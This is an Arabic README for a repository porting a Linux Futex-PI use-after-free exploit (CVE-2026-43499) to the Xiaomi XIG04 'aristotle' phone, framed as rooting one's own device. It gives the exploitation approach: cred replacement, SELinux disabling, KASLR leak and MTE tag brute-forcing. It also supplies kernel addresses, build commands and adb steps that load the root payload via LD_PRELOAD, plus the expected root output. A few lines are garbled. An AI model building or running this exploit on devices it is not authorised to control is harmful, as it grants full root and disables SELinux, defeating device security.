
aristotle (au/KDDI Xiaomi XIG04)تصعيد محلي للامتيازات (tmp-root) لجهاز au/KDDI Xiaomi "aristotle" (XIG04) على Android 12، عبر CVE-2026-43499. وهي أداة تجذير أولية بصلاحية مالك الجهاز (device-owner): تمنح الروت لهاتفك الخاص (مثلاً لإعادة تمكين ADB عندما يتعذّر الوصول إلى خيارات المطوّر).
هذا منفذ aristotle (port) للتنفيذ الأصلي (upstream):
https://github.com/x-spy/CVE-2026-43499-popsicle — والذي يستهدف
Xiaomi 17 / Pro / Ultra (popsicle, Snapdragon, Android 16, kernel 6.12.23).
كل الفضل في تقنية الاستغلال يعود إلى المنبع؛ هذا الفرع (fork) يعيد توجيهها
فقط إلى جهاز وجيل نواة مختلفين.
النطاق: جهاز XIG04 الخاص بك الذي يعمل بنظام
Xiaomi/XIG04_jp_kdi/XIG04:12/SP1A.210812.016/V14.0.3.0.TMFJPKD. ليس استغلالاً للأغراض العامة أو عن بُعد.
device : aristotle (au/KDDI XIG04), MediaTek, Android 12
kernel : 5.10.136-android12-9-00020-gc9f59ef34367-ab9585114 (VA=39, 4K pages, KASLR)
CVE-2026-43499 هي ثغرة استخدام-بعد-التحرير (use-after-free) في مسار Futex-PI في نواة لينكس:
تعمل remove_waiter() في kernel/locking/rtmutex.c على current بدلاً من
waiter::task أثناء التراجع عن قفل الوكيل (proxy-lock) من futex_requeue()، تاركةً
pi_blocked_on معلّقاً. وهي ثغرة قديمة وطويلة العمر (أثرت على Linux
من 2.6.39 حتى 6.18.x)، لذا فإن نواة 5.10.136 هنا تقع ضمن النطاق المتأثر
(CONFIG_FUTEX_PI=y, CONFIG_RT_MUTEXES=y). يستخدم الاستغلال أسلوب "الجذر المباشر"
(direct-root) المعتمد على البيانات فقط (استبدال cred بـ init_cred وقلب وضع فرض
SELinux) ويجرب وسوم MTE بالقوة العمياء لتجاوز تحصين الجهاز
(KASAN_HW_TAGS, MTE, , ).
يستهدف المنبع Snapdragon / Android 16 / kernel 6.12؛ أما aristotle فهو MediaTek / Android 12 / kernel 5.10، لذا يعيد المنفذ اشتقاق كل ما هو خاص بالجهاز من الصفر:
rt_mutex_waiter هو التخطيط المسطّح القديم في 5.10 (بدون rt_waiter_node
المتداخل، وبدون wake_state/ww_ctx). أُعيد بناء جداول الوافد المزيّف
(fake-waiter) في source/src/{slide,fops}.c وsource/src/util.c من 13 كلمة إلى 10.xbl_config. يتم تجاوز KASLR ديناميكياً (تسريب معلومات من النواة
في slide.c)؛ الثابتان الفيزيائيان اللذان أخذهما المنبع من Qualcomm XBL
يُستبدلان بقاعدة DRAM ثابتة (0x40000000، من شجرة الجهاز) إضافةً إلى
memstart_addr / kimage_voffset في زمن التشغيل (runtime).ARISTOTLE_CVE43499_PORT.md.نسخة source/src/target.h المقيسة لجهاز XIG04 مُضمّنة بالفعل في المستودع (committed)،
لذا يمكنك البناء مباشرة. لإعادة توليدها من صورة إقلاع (boot image)، استخدم مولّد
aristotle (بدون --xbl-config؛ فهو يُخرج RVAs الخاصة بـ memstart_addr/kimage_voffset
للاستخدام الديناميكي):
python3 gen_aristotle_target.py \
--boot boot.img \
--pselect-shift 0 \
--loggers 0xffffffc012771380 \
--boot-id-data 0xffffffc012886cf8 \
--kernel-phys-load 0x40080000 \
-o source/src/target.h
(المراسي الثلاثة وقيمة kernel-phys-load هي القيم المدمجة في ملف الرأس الملحَق
بالمستودع؛ انظر ARISTOTLE_CVE43499_PORT.md لمعرفة كيفية الحصول عليها.)
يتطلب Python 3 و Android NDK (r29). API=31 إلزامي حتى تُحمَّل الحمولة
(payload) على Android 12:
make -C source clean preload API=31
إذا لم يتم اكتشاف NDK تلقائياً:
NDK_ROOT=/path/to/android-ndk make -C source clean preload API=31
الناتج النهائي:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'
عند النجاح:
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0
يضمّن preload.so عميل su وخادمه (daemon) الخاصين به ويُثبّتهما ذاتياً عند
تحميله، لذا لا حاجة لملف ثنائي (binary) منفصل لـ su.
الحالة: المنفذ مكتمل الكود من التحليل الساكن لكنه لم يُتحقق منه بعد على العتاد الفعلي. تحقق أولاً من مشغّل الانهيار (crash trigger)، ثم من الروت، على جهازك الخاص. عناصر الضبط الخاصة بالنواة (
MM_ORDER,P0_KERNEL_PHYS_LOAD, سلوك الوافد المسطّح flat-waiter) مدرجة فيARISTOTLE_CVE43499_PORT.md.
CFISCS